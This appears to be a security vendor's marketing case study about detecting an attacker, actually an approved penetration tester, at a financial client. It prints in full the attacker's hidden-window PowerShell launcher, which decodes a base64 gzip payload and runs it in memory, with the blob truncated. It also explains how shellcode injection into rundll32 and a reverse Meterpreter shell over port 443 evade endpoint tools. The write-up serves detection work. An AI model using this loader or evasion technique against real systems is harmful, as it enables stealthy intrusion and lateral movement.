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RED TEAM. CAUGHT IN THE ACT. 
Advanced Threat Analytics  investigates an active attack on a Financial Client with multiple  

security measures in place. 

Detecting the Threat

Advanted Threat Analytics (ATA)  includes  
industry leading security products from Cisco, 
Carbon Black,  Cylance, Splunk, Logrythm, and 
others integrated into the ATA  turnkey security 
orchestration platform.  

ATA enables all threat intelligence and  
behavioral detection queries for security tools 
managed under their platform, which results in 
many security alerts.   
 
This client as an example had 43,000 daily 
security alerts.  The ATA Alert Classification  
Engine quickly allowed the team to classify 
known false positives and normal events for the 
client to reduce alerts requiring investigation by 
over 99%  in one week. 
 
This resulted in only 73 incidents requiring  
investigation a day out of 43,000 alerts from  
Carbon Black, Cylance, and OpenDNS.

ATA Security  investigates a large amount of 
commodity malware but active attacks occur 
less frequently.  Due to the this, the team was 
surprised to see evidence of an active attacker 
at one of their  financial clients that has a VERY 
secure environment.  

This financial client uses  ATA to  
monitor Tier 1 security events and has Carbon 
Black Response deployed with hundreds of ATA  
behavioral detection queries enabled. For this 
specific incident ATA received an alert based on 
the usage of WMIC with “process call create” and 
PowerShell with the option to hide the window 
(-w hidden) during execution.
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Threat Identification and Investigation

Identifying the Attack Method 

The team quickly determined that the  
attacker was using the Veil-Evasion exploit kit 
with a PowerShell payload to inject shellcode.  
This doesn’t write any files to disk and bypasses 
most endpoint protection – very stealthy!  No 
malware was involved in this attack and all  
malicious code existed only in memory.

The attacker in this example used stolen  
credentials and PowerShell to establish a reverse 
shell connection on the desktop and then used 
Windows Management Instrumentation  
Command-line (WMIC) to move laterally from the 
first compromised endpoint to other machines 
in the environment.

With a confirmed attacker in the environment, 
the team isolated the affected machines  
immediately and contacted the client.  Luckily 
the client was in the midst of an approved  
penetration test.  This is a great example of 
catching an attacker in the act – even when no 
malware was used.

Initial Incident Triggering Investigation

The two events that triggered manual  
investigation were the attacker using stolen  
credentials with PowerShell to establish a  
reverse shell connection on the desktop and 
launching a remote process usingWindows  
Management Instrumentation Command-line 
(WMIC) for lateral movement.
 
If you are an attacker, you want to run  
commands on a remote Windows machine and 
access the standard output of the command.   
Microsoft SysInternals PSEXEC does this well.  
However, it’s not available by default on a  
Windows host and may trigger security alarms.  
WMIC is another option for running a command 
on a remote Windows machine using built in 
tools.

Pivoting from the ATA Incident Response Portal, 
ATA was able to see that the attacker  
compromised a Windows desktop and then uses 
WMIC to run remote PowerShell commands on 
two others hosts.
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Incident Investigation

The use of PowerShell with the option to hide the PowerShell window triggered the initial  
investigation.  The attacker established remote access to the initial compromised endpoint using 
Veil-Evasion with a PowerShell payload that injects shellcode into rundll32.exe.  By injecting  
shellcode into a known trusted process, no unusual files are written to disk and this bypasses 
most endpoint protection.   

The code injected into rundll32.exe created a Metasploit Meterpreter shell using a reverse TCP 
connection.  

With a reverse shell, security and monitoring tools see what looks like a normal browser  
connection on port 443 (SSL or TLS).  The attacker can be internal or external and this technique 
usually works unless Internet access is very restricted.
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The command used by the attacker was:
C:\Windows\system32\cmd.exe /b /c start /b /min 
powershell.exe -nop -w hidden -c 
if([IntPtr]::Size -eq4) {$b=powershell.exe} else{$b=$env:windir+\syswow64\WindowsPowerShell\
v1.0\powershell.exe};
$s=New-Object System.Diagnostics.ProcessStartInfo; 
$s.FileName=$b; #Application 
$s.Arguments=-nop -w hidden -c; #arguments (no profile and hidden for PS)
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(H4sIA—deleted B64 BLOB to save 
space--J6AvCgx0CwAA));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.
CompressionMode]::Decompress))).ReadToEnd();
$s.UseShellExecute=$false; #don’t use OS shell to start process
$s.RedirectStandardOutput=$true; #text output written to standard out
$s.WindowStyle=Hidden; #Hide window when process is started
$s.CreateNoWindow=$true;
$p=[System.Diagnostics.Process]::Start($s);

This concept has been known for several years and is leveraged in the Veil framework of tools that 
are especially good at evading endpoint and network security tools.  The code above is usually 
launched as a batch file, which does basic x86/x64 architecture detection in an attempt to work on 
multiple platforms. 
Attackers use this method for several reasons:
• PowerShell scripts are not blocked by most endpoint solutions
• No files are being written to disk – endpoint protection solutions won’t have any malware to  
 detect and block
• Access to the internal host is initiated by an outbound connection on TCP port 443.  This is  
 normally  the encrypted HTTP TCP port.  Unless an organization is using application control,  
 then this connection will most likely be allowed and considered normal.

Process Tree  Analysis
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 Summary

This example shows the importance of  
behavioral indications in detecting active 
attackers inside an organization.  Sophisticated 
attackers use techniques that are more  
difficult to detect due to using stolen  
credentials and exploit code in memory.   
Anti-virus vendors tend to focus too much on 
ransomware and commodity malware.

A great security program is one that plans for 
failure and can detect internal activity  
associated with an active attacker.

Advanted Threat Analytics constantly test all 
the preventative tools on the market and has 
found flaws in the tool or how they are 
configured every time in real world  
environments.   A good security program has 
a plan to detect and respond when life doesn’t 
go as expected.

ATA’s revolutionary threat intelligence and  
behavioral detection allows their clients to 
have the confidence that normal events and 
false positives don’t distract from real threats. 
With the added security of ATA, clients can 
always be ready to quickly handle attacks.  
 
Without the ATA tool, the response time, man 
hours, and damage could have a significant 
and lasting impact on the clients system,  
security and future.  
 
Contact Advanced Threat Analytics today for 
more information. 


